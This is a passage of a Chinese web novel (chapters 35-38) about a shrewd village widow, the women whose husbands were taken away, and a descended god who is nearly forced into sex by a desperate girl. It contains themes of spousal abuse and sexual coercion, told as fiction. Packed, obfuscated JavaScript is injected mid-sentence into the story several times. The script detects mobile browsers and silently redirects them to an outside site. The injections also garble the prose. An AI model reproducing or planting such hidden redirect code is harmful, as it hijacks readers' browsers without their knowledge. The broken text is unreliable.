花祝年点了点头,作势要从手绢里掏钱。 村医连忙拦住:“不不不,不用!这都是小事儿。” 花祝年笑了笑,拍了拍村医的肩膀:“等贺平安回来了,我让他好好请请你。这可是帮了我大忙了!多亏有你在,不然我上哪儿找这么好的大夫去?” 柳春在一旁听得直脸红。 得了便宜还卖乖,也不过如此吧。 怪不得绒绒经常跟她说,跟着花婶儿逛集市,从来没被小商贩坑过钱。 没有人能从花祝年这里赚走一分钱。 除了香烛店的老板。 花祝年人是市侩精明了些,但是关于将军的一切,都是实心实意的。 她省钱有大用。 不管别人理不理解,这大半辈子,她都这么过来了。 柳春出门后,对花祝年问道:“她花婶儿啊,刚刚怎么不跟村医说实话啊?我看那两口子,都是个实心眼儿的。” 花祝年活动着自己的肩颈,毫不吝啬地跟柳春传授经验:“就是因为实心眼儿,才不能跟他们说实话。你想啊,他们跟你实心眼儿,那跟别人,肯定也实心眼儿!这实心眼儿的人吧,从来就守不住秘密。倒不是说他们故意泄露,只是太容易被坑了。从生到死,都只有被利用被抛弃的份儿。” 实心眼儿的人可以收为心腹,却不能用来当生意伙伴,不然几句话就能把底价给透露出去。 花祝年出身商贾之家,这点心眼子还是有的。 世上的主流皆厌恶精明狡诈之人。 可是,有些棘手的事儿,还就得交给这些人来办。 这样才能为自己赚得最大利益。 倘若交给了老实人去办,那他们只会把自己肠子掏出来,给对方丈量尺寸。 老实人最后倒是能博得个贤良憨厚的名声,可是于个人生计来说,全是狗屁。 小到生意,大到家国,一样的道理。 精明人,把精明劲儿,用在对外谈判上,那就不可能一味地割地赔款,屡屡退让。 哪怕骂名自己全背了,也得找个由头,狠拖个几年。 只有老实人,才会让对方掐住命脉,人为刀俎我为鱼肉。 花祝年喜欢老实人,不过却不喜欢和老实人打交道。 太平盛世,老实人在良好秩序的庇护下,当然能好好活着。 可在乱世,秩序不复存在,规则悄然失衡,老实人就是拖累。 为了村医两口子好,她不愿意有这样的拖累。 柳春轻喃道:“可是,那两口子,本来也知道这件事啊。” “他们知道归知道,我们承不承认,就是另一说了。” 柳春不解地问她:“那都是一个村子里的,就算我们承认了,又有什么关系呢?就算被村医两口子散播出去了,闹得全村人都知道,也好让大家一起帮着想想办法嘛。” 人在极度无助的时候,是很容易通过示弱和剖白,来寻求依靠的。 柳春的承受能力,几乎已经到极限了。 她真的很需要大伙聚在一起,就算是陪她好好哭一哭,至少也能给她些去给鲁大梁收尸的底气。 花祝年冷笑一声:“这村子里的人,什么时候这么矜孤恤寡了?一旦放任村医两口子说出去,坐实了这个消息,让旁人确认这几家的男人回不来了,你信不信,当晚村子里七老八十的老光棍儿,就敢不要脸地去扒你家的窗户?到时候,你跟绒绒怎么过?” 35. 现在你男人被抓了 花祝年的话,让柳春听得的背脊发凉。 就连残存的最后一点幻想,也被她毫不留情地击碎了。 她和女儿并不是在鲁大梁被处死后,变成可以任人踩踏的人。 而是从鲁大梁被抓走的那一刻,就已经处在危险之中了。 花祝年攥紧柳春的手,就连手心的硬茧仿佛都蕴含着一股很沉稳的力量:“干嘛把弱点暴露出来?就是装也得装得跟没事人一样。” 虽然话是这么说,可是花祝年心里也没什么底。 她从来没想过有一天,贺平安会死在她前头。 花祝年带着柳春,将其他几家的女人组织到了一起。 在常裕隆家里商量事情。 没有什么别的原因,就是他家的房子大,容得下她们这些女人。 常裕隆也是被抓走的人之一。 他正值壮年,今年也才三十来岁,只是因为腿有问题,才没被抓去上战场。 不过,也有人说他的腿疾是装的,曾有打更人在半夜,瞧见他健步如飞。 常裕隆的妻子是吴凝,比他小个十来岁。 俩人是去年才来到村子里安家的,短短几个月,常裕隆就请人把房子盖起来了。 盖得比一般人家都要大。 跟她们这些庄稼人不同的是,吴凝看起来弱不禁风的,从没干过什么重活。 就连家里饭都是常裕隆做,可以说,吴凝被他养得很好。 平日里连绣花针都不碰,似乎除了喝茶看书,就没有别的事可做了。 可是,自从家里男人被抓走后,吴凝却是这些女人里,最漠不关心的那个。 不知道该说她消极,还是说她冷漠。 在旁人七嘴八舌地想着找找门路时,只有她眉间微蹙道:“我不想打听了,就当他死了吧。” 期间有个花祝年的老姐妹儿,忍不住教训她道:“我看裕隆对你也不错啊,怎么就这么狠心呢?” 吴凝放下茶碗:“我家的事,由不得你来教训我。” 许是对方看她年纪这样小,却敢如此顶撞自己这个老人家,直接当起了外家婆婆,轰地一下从座位上站了起来:“你不守妇道,我管管你怎么了?真没见过你这样的女人,男人快死了,不去救就算了,还盼着人家死!” “这话要是从花祝年口里说出来,姐儿几个是没话说的,谁不知道贺平安是个不干人事儿的老混子,可是你家常裕隆,平日里把你宠得跟什么似的?他缺你吃还是缺你穿了?你这么恨他。” 吴凝平时的确被常裕隆保护得很好,从来没跟什么人吵过架。 她不大爱出门,跟一群能当自己娘的人,也聊不起来。 偶尔,会跟花祝年聊一聊。 因为,吴凝和花祝年家中都有书房。 花祝年已经很多年不看书了,可是过去看的书还记得。 每逢乱世都是文化断层的时代,所以,花祝年之前看的书倒也够用,两个人因此也能聊上几句。 吴凝讲话很文雅,根本看不上其他言语粗鄙的人。 但她不知道花祝年其实是这群人里头,最会骂大街的。 只不过,跟她聊天的时候,从来不讲粗话,还总是迎合她的喜好。 吴凝喜欢看天文方面的书,花祝年就跟她探讨二十八星宿。 两个人有时候会在吃完饭后,坐在常家的房顶上看星河流转。 不过,花祝年不能看太久,总是会被贺平安喊回家。 吴凝每次都落寞地望着花祝年离开。 她在这个村子里,没有亲人。 花祝年算是她唯一的朋友,她们是一起聊星星的忘年交。 可是聊起星星来在行,吵架吴凝实在是不行。 她被对方气得满脸涨红,不知道该如何辩解,憋了半天只是憋出一句:“我恨不得他死!” 说完趴在桌子上痛哭了起来。 花祝年的老姐妹儿,仍旧不依不饶道:“你哭什么?你在自己男人面前哭哭就算了。现在你男人被抓了,这里可没人疼惜你,少在老娘面前哭唧唧的,才不吃你那套!” 老姐妹儿正骂得起劲儿,花祝年忍无可忍道:“宋秋霜,你能不能消停会儿?” 她一般不会背人因果,也很少管闲事,可是这房子是吴凝借给她们商量事情的,茶水也是吴凝拿出来供应的。 哪有这样一句话讲不对付,就指着鼻子骂人半天的? 况且,宋秋霜没有任何的立场生气,再怎么说这都是吴凝的家事…… 可是,就在花祝年说完后,宋秋霜忽然变得比之前还要生气。 她拿起个茶碗就摔到地上。 “花祝年,平日里就看你跟她走得近,为了哄这小妮子开心,都不理咱们这些老姐妹儿了!常裕隆给了你几个钱啊?” 花祝年一时有些心虚。 她的确是个什么钱都赚的人。 在吴凝看来,两个人聊得来,是因为都爱看书,都喜欢天文知识。 可是对花祝年来说,她不过是常裕隆雇来陪吴凝聊天的人。 不过是生意而已,从来没什么真心。 花祝年的真心,在三十年前,就跟着一个五马分尸的人一起埋葬了。 往后余生,就只是为了活着而活着。 这也是贺平安痛恨她的原因。 她会依照世俗的标准,做一个很好的妻子,做一个很好的朋友。 可你问她要那种死心塌地的真心,那她给不了一点儿。 只要花祝年想,她可以为了钱,做任何人的朋友。 贺平安之所以不想让花祝年,总是跟吴凝掺和在一起,就是知道她靠这个赚钱。 赚了钱也不给他,肯定全花在小泥人儿身上。 她是他的妻子,是被他养着的,凭什么赚钱给前夫哥花? 宋秋霜见花祝年不吭声,继续不怕死地挑唆道:“吴凝,你以为你跟她是朋友么?我不怕告诉你,花祝年是为了——” 她话还没说完,就被花祝年甩了一巴掌。 两个人原地厮打起来。 被摁倒在地上的宋秋霜一边打一边哭,花祝年倒是下手格外地冷静。 她的目的也不是打宋秋霜。 只是想让她闭嘴而已。 俩人打得热火朝天,周围的人也没闲着,就连之前趴在桌子上哭的吴凝,都开始凑上去帮着拉架。 最后,人倒是拉开了。 花祝年的衣服被撕破了,她才刚穿了一天。 宋秋霜趴在地上痛哭,哭得特别委屈。 其实,这村子里的女人,平日里对花祝年嘲笑归嘲笑,但毕竟跟她做了这么多年的老姐妹儿。 她虽然没给过她们真心,她们却是真心待她的。 不然也不会因为她跟吴凝走得近些,觉得疏远了她们这群老姐妹儿,就在那里吃醋。 花祝年有种很特殊的体质。 她很容易在不经意间,让周围的人吃醋,家里的贺平安吃爱情的醋,外面的老姐妹儿吃友情的醋。 越不在意谁,谁就越吃醋。 这并不是她想看到的,可是她精力有限,实在没办法雨露均沾。 她是真的需要常裕隆收买她的那份钱。 乱世物价飞涨,又因为每天都在死人,香烛用品什么的可贵了。 偏偏她要的是上好的那种,导致商铺老板可着劲儿地宰她。 她一还价,对方就说她心不诚。 花祝年都想好了,等她的将军封了神,她就是还剩一口气,也得爬来香烛店,铆足了劲儿狠甩老板一耳光。 虔诚不是他宰她的借口! 宋秋霜一边哭一边骂:“你个该死了不死的老泼妇!你怕我挡了你的财路,所以就狠心打我,亏我还把你当个知心的人。你挣那么多钱,不给活人花,偏给死人花!活该你被男人打,打死你才好呢。” 这些老姐妹儿,觉得唯一能伤害到花祝年的方式,就是骂她被贺平安打。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等那后生把绒绒娶回家后,也能捎带着把柳春接过去住。 这样一来,就算鲁大梁被处死,也对她们娘俩的生活,造不成任何威胁。 不管怎么说,能救一家是一家。 花祝年觉得这后生是个好人,绒绒跟着他应该不会受委屈。 况且,她觉得他确实有些虚,上次是被灌了酒,才被几个人给绑住。 这次没喝酒,都打不过绒绒,看来是个很好收拾的男人。 只要绒绒不受委屈就行。 鲁绒绒听不得衡羿喊花祝年的名字,上去就甩了他一巴掌。 她的脸被气得通红,转过头瞪着花祝年质问:“你不是把我当女儿看?那我睡个人,应该不关你的事!” 她没办法。 现在她只能这么做,但凡身边有个家境优渥,更好拿捏的男人,她就上那个了。 而不是上一个已经心有所属的男人。 花祝年小声地解释道:“我没意见,你别伤到自己就行。” 这样姿势,还是挺危险的。之前是有她和柳春在旁边,还能教一教。 也不知道绒绒会不会操作。 不过,既然她不让她管,那她就不管了吧。 花祝年识趣地退了出去。 她转身离开的时候,衡羿还在不甘心地求她:“花大娘,你别不管我。” 就是脾气再好的人,被自己信任的人连着卖两次,也会生气的。 况且,他是掌管三界的神,是专门为她下凡的神。 衡羿现在又委屈又急躁,见花祝年不理自己,带着声嘶力竭的哭腔,喊出了她的名字:“花祝年!” 他真的生气了! 36. 把她作践成这样 三十年来,花祝年听到过很多人的绝望嘶吼声。 先是家道中落时的爹爹和娘亲,后来是街上流离失所的逃荒者,最后是看薛尘受刑的自己…… 那之后,她的情绪,就再没有歇斯底里过。 好像在嘶吼的一瞬间,有一记重锤猛地砸进了心底,把一辈子的劲儿都用完了一样。 心也不会再有任何起伏。 任何事,都没办法让她的心为之颤动。 可是,刚刚这后生喊她的名字,不知道怎么回事,突然让她的心在惊颤中疼了一下。 衡羿看到花祝年停下来后,本来想直接对她发火的。 可是责怪的话还没说出口,直接就是一声爆哭。 衡羿是个性情极温和的人,哭起来有种楚楚可怜的感觉。 坦白讲,她是被他哭回来的…… 花祝年为难地走回到鲁绒绒面前,跪下来小心翼翼地和她商量道:“绒绒,要、要不——” 鲁绒绒不等她说完,就抽了衡羿一巴掌。 “一个大男人,哭什么?” 衡羿哭倒也不是因为被人上,主要是他被自己的小信徒卖了两次。 对她感到很失望! 她曾经在无数个日夜虔诚地拜他,好不容易等他下定决心来看她了,她眼都不眨地就把他送给别人睡。 哪有这样的狂热小信徒? 花祝年刚想再劝,鲁绒绒不给她开口的机会,又甩了衡羿一巴掌。 她掐住他的下颚:“你老实给我上,还能少受点罪。今天,我是上定你了。” 衡羿满目泪光地看向花祝年,似乎是想让她看看,鲁绒绒好好的孩子,被她教成了什么样子。 现在的鲁绒绒,不仅理智全无,身上还带着一股煞气。 佛挡杀佛,神挡杀神。 很多走投无路的人,在把刀伸向弱者时,都会带着这样的煞气。 在希望和信念破碎的那一刻,于滔天绝望中迸发出求生的本能,煞气,应运而生。 极度惊恐之际,做着极恶之事。心里却没有一丝愧疚,有的只是决绝和狠戾。 好像瞬间坠了魔一样。 衡羿知道,有很多仙,就是在信念崩塌后,一念坠魔的。 他的前辈上衡仙君,在情绪失控的瞬间,为了一个女子,毫无征兆地坠魔了。 自坠魔后,魔界血流成河,手上沾染了怎么也去不掉的血腥气。 天道觉得上一任选了个脾气不好的,才会酿此大错。 所以这次看上他脾气好,才在他历完百千万劫后,将他定为接任的神君。 但衡羿觉得自己修为也快要不够了。 一次就算了,两次他实在有点忍受不了。 花祝年看着鲁绒绒嚣张的样子,觉得很是心疼。 她怎么会不明白鲁绒绒,一直打这后生的意图? 鲁绒绒是在警告她,再劝,连她一起打! 花祝年现在走也不是,留下来也不是。 纠结之后,她还是忍不住劝她:“以后,还有机会的。” 鲁绒绒坐在衡羿身上,一把将花祝年推倒在地,对着她疯狂咆哮道:“有什么机会?你告诉我,还有什么机会?” “今天晚上,我都不知道该怎么过!我爹跟那些人肯定是要死了,如果他们不死的话,那就只能把我交出去。” “我为什么要被交出去?明明我不应该遭遇这种事,我在家里待得好好的,没招谁,没惹谁,凭什么要让我受到这种折磨?” 她的眼中露出了极为坚毅的神色,仿佛再没什么能阻止她一样。 “我不上别人,就得被人上。这是你教我的!” 鲁绒绒上衡羿这件事,并不是一时兴起,她的确是仔细思索过的。 利大于弊,该上就上。 比起被别人压在身下折磨,她更愿意做折磨别人的那个。 这些天的相处,鲁绒绒也是看出来了。 他是个极好拿捏的人,脾气也好,怎么欺负都不会生气。 不然,也不会在她把他勒倒之后,他还好声好气地劝她,别做这种有辱斯文的事。 斯文…… 她现在命都快没了,还要什么斯文? 衡羿无奈地对花祝年说道:“花大娘,你看看你把孩子教成什么样了?” 他本指望着小信徒能出于愧疚,及时地劝阻鲁绒绒。 可他没想到,他的小信徒在他说完后,居然从地上爬起来,失魂落魄般地点了点头:“对,是我教你的,就该这么办。” 她刚刚返回来救他,才是真正地昏了头! 事情就应该这样做下去。 做,狠狠做。 花祝年说完就离开了。 衡羿都惊呆了。他现在法术还没回来,浑身上下也没什么力气。 引雷也引不了,好像除了躺地上,被人上,也没什么出路了。 他几乎已经放弃挣扎了。 小信徒是他唯一的救赎,可是她也放弃他了。 就那么走了。 头也不回地走了,步伐之快,让人很难想象,这是一个五十岁的小老太。 他之前已经劝了鲁绒绒好一阵儿了。 都没能劝动她。 给她钱也不行,帮她找地方安顿也不行,她现在根本就不信他说的任何话。 好像只有强了他,才能心里踏实一些。 他跟这些愚昧又绝望的凡人,也是没什么辙了。 其实他能理解鲁绒绒此刻的惊恐和狠戾。 但是,这好像还是他第一次,以男子的身份被女子上。 之前历了百千万劫,都没遇上过这种磨难。 他轮回转世的时候,倒是当过男宠,可那是生活所迫。 自己也是有所图谋,是一种等价交换。 有因有果,倒是也能接受。 还从来没有像现在这样,本来在天上待得好好的,来了凡间就被人上。 没因没果,没孽没缘,他都不知道招谁惹谁了。 也不知道天道安排他遭这一劫,到底是为了什么? 难不成,是对他下凡的惩罚? 可他又不是做坏事,只是想陪小信徒走完最后的三个月,替她战死的儿子给她送终。 小信徒的三个儿子,都战死了。他给她送终也不行吗? 为什么要这样对他? 就在衡羿以为,自己不明不白地,就要被鲁绒绒给上的时候。 鲁绒绒俯下身正欲吻他,一滴泪忽地砸落在他的脸上。 他突然从她偏执的目光中,看出了贺平安的影子。 心不免颤动了一下。 此刻,他似乎和新婚之夜的花祝年,起了前所未有的共感。 那种,事情不得不做的无奈,无人救赎的心死,出于恐惧下意识地拒绝…… 三十年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064269|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,他看她跟贺平安做,是没什么感觉的。 他只觉得,那是她的姻缘,也是她的命。 那时候,他是以天道的维护者,以至高神明的视角,去俯视一个寻常女子的苦难。 可现在,轮到他是被上的那个了。而她也如当日在天上的他一样,转身离开冷眼旁观。 他躺在地上,以凡人的视角,看着坐在自己身上的鲁绒绒。 他是掌管三界的神,本不该堕落至此,可是这些事就这样被安排在了他的身上。 不容拒绝。 跟当年的花祝年一样。 家道中落后,被人踩进泥里。 他万年的修为没有用,她看过的书也没有用。 在绝望的世道面前,过去所拥有的一切,通通都化为了云烟。 衡羿之前一直不理解,小信徒是怎么接受跟贺平安过一辈子的?只当她是认了命。 直到此刻,才如梦方醒。 其实,哪有选择呢? 任凭你再高傲,再优越,再不可触碰,可是在绝对的暴力面前,照样只有被上的份。 衡羿在从没有过的至弱时刻,终于切身体会到了小信徒的痛楚。 那是一种彻骨的绝望。接受,麻木,忍耐…… 像他这样的人,连一刻都无法忍受,他的小信徒,却忍了三十年。 她活下去唯一的支柱,是等他封神。 可是,他很清楚,从她决定为了葬他,嫁给贺平安的那刻起,就已经死了。 陪他一起死了。 她无法忍受岁月的磋磨,所以就跟他一起去了。 现在活下来的,是一个被贺平安毁得面目全非的怪物。 他的心好疼。 衡羿闭上了眼睛,准备感受和小信徒同样的痛苦。 她经历了三十年,他才刚刚遭遇而已。 鲁绒绒意识到衡羿已经彻底放弃挣扎,气势汹汹地凑到他颈间吻了过去。 只是,还没吻到,一道紫色的天雷,势不可挡地劈了下来。 将花祝年家的茅草顶劈成了两半,鲁绒绒当即被劈晕了过去。 花祝年本来在外面的灶台旁烧热水,准备等绒绒完事儿后给她擦洗身体。 可是看自家房顶都被劈得冒烟了,不知道里面的人有没有事。 她惊慌失措地推开门进去,看见鲁绒绒的身体变得焦黑,软踏踏地趴在衡羿身上。 衡羿被压得动不了,推也推不开她。 这雷并不是他引来的,他也没有生气,本来是已经平静接受了这件事的。 但可能是天道看不过去,最终还是救了他一把。 不过,被救的衡羿,内心并没有劫后余生的喜悦。 反而有一种难言的痛苦。 他自己因为是神,不容任何人亵渎,所以有天道来救他。 可是,他的小信徒又有谁来救呢?还有那些和小信徒一样的人…… 花祝年连忙将鲁绒绒抱在怀里,试探她的气息。 衡羿在一旁心痛难忍地质问她:“把她作践成这样,这是你想要的吗?” 这个“她”,不是在说鲁绒绒,而是在说他的小信徒。 他已经没办法再保持一个神的理智了。 开始痛恨她嫁给贺平安,不再以高高在上的姿态,理所应当地认为那是她的姻缘。 只有自己在地上躺过一遭,才知道,那是一种怎样的折磨。 37. 什么喜不喜欢的? 花祝年不认为自己在作践鲁绒绒。 她明明,是在帮她。 只是,不知道怎么回事,回回让她上他时,都刚好有雷劈下来。 活在乱世的人,其实是不太信阴司地狱报应的。 就算天雷真的劈死了几个人,也没人觉得是由于他们作恶导致的。 只当是自然现象。 在绝对的杀戮面前,大众只认屠刀,不认天道。 他们只看到,欺负百姓的人,堂而皇之地稳坐高位之上,而那些把百姓的孩子当成便宜工具来利用的权谋者,在窃国。 如果上天真的有眼的话,为什么不劈死那些人呢? 单单挑着穷苦百姓劈什么?可见,天道也是个欺软怕硬的怂货! 花祝年三十年来混迹于底层,跟这些穷苦之人一样,都是不信天道的。 她只信自己的将军。 这世间所有被封好的神,任凭浩大的史书,如何记载他们生平的波澜壮阔,都不会得到她丝毫的供奉。 她全部的信仰,都供给那个曾经守护了百姓的人。 那些口口相传,却看不见的功德,她不供。 她只供看得见的。 五十岁的小老太,五十公斤的体重,四十九公斤的反骨。 她从不觉得绒绒是因为强一个男人,才遭雷劈的。 如果真是这样的话,那她就要对上天招招手说:“天道啊,你坐下,咱俩唠唠心里话。” 然后,趁天道不注意,揪住它脖领子,甩它两个大耳光子。 问问它,干嘛要劈她的绒绒? 是不是吃饱了撑的?放着那么多恶人不劈,跟小女孩儿过不去做什么? 花祝年低头轻贴着鲁绒绒的脸:“我没作践绒绒,我作践的是你。” 衡羿心里很清楚,现在的他,正如当日的小信徒一样。 作践他,就等同于作践她自己。 “你怎么能这样作践我?我、我就一定要现在被她上,不能一直等下去,直到有自己喜欢的人吗?” 他仿佛隔着三十年的时光,以逝去前夫的身份,在质问改嫁后的妻子。 并不是不想她嫁人,是看不了她那样草率地嫁人。 就算当时别无选择,那她也应该爱自己,而不是为了葬他那堆破败的肉身,就把自己卖给一个恶魔,忍受这三十年的屈辱。 两个人现在吵架都吵不到一起去。 花祝年哪听得出来那么多弯弯绕绕,她只觉得他是在指责她。 她抬起头恶狠狠地瞪着他:“什么喜不喜欢的?谁跟你在这儿谈情说爱呢?你以为你在我们眼里是男人吗?不,不是!你不过是一块肉而已。” 人饿了,要吃肉。快要死了,要求生。 一切都出于本能。 没工夫在那里想什么情爱。 衡羿的心沉了一下。 他对于她而言,是要吃进去的肉。她之于贺平安,又何尝不是呢? 贺平安像个饿死鬼一样,拼命在她的身上索取着一切情感。 不容她拒绝。 虽然小信徒对他说了很多难听的话。 可他并不会对她生气,只会越来越心疼她。 眼泪一个劲儿地往下掉。 花祝年误会他是觉得委屈,内心也并非全无触动。 她这次确实没干什么人事儿。 人家后生好好地住着,就因为她想让绒绒有好的生活,直接想把他给强了,一次没成功还强两次…… 大概没几个人能受得了。 有再一再二,没再三再四。 花祝年动了恻隐之心,想要放走这块肉。 至于绒绒,她再试着给她找别人。 总之,绝不会让她落得和自己一样的下场。 衡羿正低头哭泣的时候,花祝年忽然一反常态地说道:“你明知道住在这里,会发生什么,为什么要回来?难道不是因为觉得享受吗?” 他愕然地抬头问她:“你、你说什么?” 花祝年冷笑道:“我说,你之前不是已经跑了吗?为什么要回来呢?回来不就是给人上的吗?你在装什么不明白?以你的力气,怎么可能推不开一个小姑娘?这样半推半就的有意思吗?” 这下他是真的委屈了。 衡羿心急地跟小信徒解释:“花大娘,我并不是这样的人。之前你也看到了,我身体不舒服,不然也不会栽你身上。在你回来之前,我已经挣扎过一番了。” 花祝年不想跟他再啰嗦下去,只是揪着一个问题问他:“都被我们设过一次局了,你为什么还要回来?” 衡羿一时语塞,不知道该怎么解释。 他伤心地问她:“你觉得我不会走,是不是?” 花祝年鄙夷道:“你跟个废物一样,又能去哪里呢?像你这样的后生,去到哪儿,都是被人上的货。不如你走一个给我看看?也让我见识一下你的胆识。在我家窝着当怂包有什么意思?” 衡羿从地上爬起来,跟小信徒赌气道:“我不会再回来了!” 花祝年抱着鲁绒绒,直到看见衡羿踉踉跄跄地推开篱笆走了出去,才终于放下心来。 走吧,走了好啊,走了就别回来了。 他要是再敢回来,她死活也得让他把绒绒给娶了。 花祝年沉了口气,将绒绒抱去了书房的那间小床上。 刚一起身,腰闪了。 她扶着腰定格在原地,仰起头看见被劈坏的茅草顶。 真是屋漏偏逢连夜雨啊。 花祝年刚想转身,可是腰疼的要命。 她只能扶着床,慢慢地挪动。 没走两步,就听到篱笆被推开的声音,还有急匆匆的脚步声。 在还来不及转身的时候,她先拎起了一旁的扫帚。 不管来的人是谁,她都要誓死守护绒绒。 她已经是个老大妈了,这么多年,也活够了。 花祝年一手扶着自己的老腰,一手紧握着扫把,刚转过身就看见村医进来了。 村医看见她后,倒是一脸地关切。 “花嫂子,你看看你,刚把胳膊安上,这么会儿的时间,怎么又把腰给扭了啊?” 花祝年将扫帚丢到一旁:“年纪大了,不就是这样吗?我寻思着扫个地呢。” 衡羿别扭地跟在村医身后,也慢吞吞地走了进来。 村医指着衡羿说道:“是这后生喊我来的。他说,家里有个被雷劈到的小姑娘,让我看看有没有事。” 其实,是没事的。 衡羿知道鲁绒绒罪不至死,天道顶多小惩大诫一下。 他之所以喊村医过来,是为了让花祝年放心。 村医在诊治了一番后,告诉她不用去镇子上抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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上去就是一顿拳打脚踢,边打边骂:“你说你跟个弱鸡崽子一样,还能干些什么啊?要不是老子腰扭了,这点小事儿能用得到你?” “没有金刚钻,就别揽那个瓷器活儿。本来还想给绒绒擦洗身体的,那孩子烧得跟个焦炭一样。这下我还得重新烧!” 衡羿从地上爬起来,尴尬地道歉:“对不起啊,花大娘。我是真的身体不舒服。” “不舒服就别接我桶啊!你接过去,就是为了跟它一起摔个狗吃屎?” “也不是。我看你腰扭了,不想你那么辛苦。” “滚!气死了,亏得你家里还有下人在,不然真的很难想象,绒绒嫁过去后,要怎么跟你过日子。之前看你也没这么弱的,中看不中用的东西!” 花祝年骂骂咧咧地去井边打水。 衡羿小心翼翼地跟了过去,想看看有没有自己能帮得上忙的。 她嫌弃道:“离我远点儿,别在这儿碍事。” 花祝年扶着腰,去摇辘轳。 之前打水的时候,她腰还没什么事,现在疼得要死,摇辘轳也不像之前那样轻松了。 衡羿搭了把手过去:“我帮你吧。” 两个伤残人士,好不容易把水摇上来。 花祝年让衡羿将辘轳固定住,自己去提那桶水。 可是,因为腰使不上劲儿,刚一握住桶柄,就不得不去扶自己的腰。 再加上,衡羿体力也有些不支,没固定好辘轳。 两个人眼睁睁地看着那桶水,猛地砸回到井里。 花祝年气得回手甩了衡羿一巴掌,扶着自己的老腰,怒气冲冲地回了房间。 38. 她到底懂不懂啊! 闪了腰的人,腿脚也不那么利索。 衡羿看着花祝年进屋的时候,还被门槛绊了一下。 差点摔倒在地上。 他低下头摸了摸自己的脸,挺疼的。 可是不知道为什么,居然有些想笑的感觉。 可能,他有病吧。 总觉得,也算是跟他的小信徒过上老夫老妻的生活了。 天下间的夫妻打架本是常事。 衡羿看花祝年在花家的那段日子,她的娘亲也经常打花老爷。 别看花老爷在外面拽得二五八万的,回到家就是个特别惧内的男人。 小心翼翼,不敢犯错。 有好几次犯错,都被花夫人打得上房梁上躲着嗷嗷哭。 他的小信徒从来没有对贺平安这样过。 可见,她并未把他当夫君来对待。 他们不过是搭伙过日子的人,而他才是她暴躁情绪的承接者。 他是神,她是他忠诚又狂热的小信徒,多年来从未缺过对他的供奉。 所以,被她这样打几下,好像也没什么关系。 对小信徒,没有什么是不能原谅的。 衡羿把自己衣袖上的泥甩了甩,准备进屋看看小信徒气消了没。 可没想到,刚一进去,就看到她跪趴在床前,姿势怪异的样子。 房间里还有一股浓烈的药油味。 他看她先是倒了一点在手上,用力地揉搓着。 等把药性搓出来之后,才一只手去撩开后腰处的衣服,一只手艰难地伸过去揉捏。 但似乎无法坚持太久,她的胳膊就变得酸疼。 只能收回来,在床上伸直缓解。 衡羿试探地喊了她一声:“花大娘。” 小信徒仍保持着原来的动作,没有丝毫要理他的意思。 他忍不住又放开声音喊道:“花大娘?” 花祝年侧脸贴着床沿,闷声道:“有话说,有屁放。” 正欲把内心的想法说出来时,衡羿突然变得小声了起来。 “我、我——” 我了半天,也没我出个所以然。 他是想帮她揉的。 可是,不知道这样合不合规矩。 以什么身份去帮她呢?她虔诚祭拜的神,还是来路不明的后生? 无论是哪个身份,似乎都不太合适。 他也不全是忌惮世俗的眼光,而是自己的心也没想清楚。 总感觉有什么东西,在悄然发生着变化。 而这种变化是不可抑制的。 花祝年在床前歇好后,又开始了自己的第二次搓药油。 以前贺平安在的时候,总是很快就帮她涂好了,虽然没办法立即恢复,但至少能缓解一下疼痛。 虽然大多数的疼痛,也是他施加给她的。 好地狱的人生啊。 衡羿看小信徒费力地搓着手,听到了硬茧摩擦的声音。 他也不知道哪儿来的力气,直接将她从地上,掀翻到了床上去。 花祝年本来腰就不好,再加上被他抱起来这么一扔,火气更大了。 她拍着床板咆哮道:“你这个后生,到底想干什么?” 衡羿一言不发地搓着药油,帮她按揉着后腰。 算上被贺平安气流产的那个,她为他怀了四个孩子。 腰上都是妊娠纹。 可是,她的肌肤从生下来,就是很白很柔的那种,摸起来像绸缎一般。 上面条条道道的妊娠纹,像绸缎上华美精致的刺绣。 衡羿曾在天上,看过贺平安吻她这里。 他看他对她做尽了亲密之事,也看她被迫承受着所有。 那个时候,衡羿心里是没什么感觉的。 神在天上看凡人在床上做的事,就跟凡人在田野间看动物交欢一样。 可是现在回想起来,每一瞬的回忆,都像是在割他的心一般。 她在他的回忆里,是个暴躁的小哭包。 暴躁是因为绝望,需要对外发泄,哭是因为贺平安。 衡羿不理解贺平安,为什么不肯接受相敬如宾的夫妻生活。 如果是他,他会接受的。 对于情爱之事,他一向看得很淡。 就算是再喜欢的人,如果对方不愿意,也不会强迫和打骂。 他是可以接受,对方心里丝毫没有自己的。甚至,哪怕是心里有他,和别人睡在一起也可以。 从他能在天上,不为所动地待三十年就看出来了。 衡羿其实是个极能容忍的神。 或许是心里在想事情的缘故,手上的动作也渐渐地停了下来。 从揉捏变成了摩挲。 花祝年刚舒服两下,他一个没按对付,那股疼劲儿又上来了。 她长出了一口气,艰难地转过头骂道:“你到底行不行啊?不行就滚!让你揉面呢?你倒是使劲儿啊!” 正在走神的衡羿,被小信徒吼得心乱了一下,无措地回应:“哦哦。” 他连忙重新往手里倒了些活络油,搓热了之后贴敷在她的腰间。 只是还没揉两下,就感觉到门口似乎有一道目光盯了过来。 花祝年也感觉到了。 她抬起头往门的方向看去,刚好跟柳春对视。 柳春转身就要往外跑。 花祝年扶着床想起身,却被衡羿一把按了回去。 “别乱动。” 花祝年情急之下喊了一嗓子:“柳春,你跑什么!” 已经跑到外面的柳春,为难地停住了脚步。 不知道该不该进去。 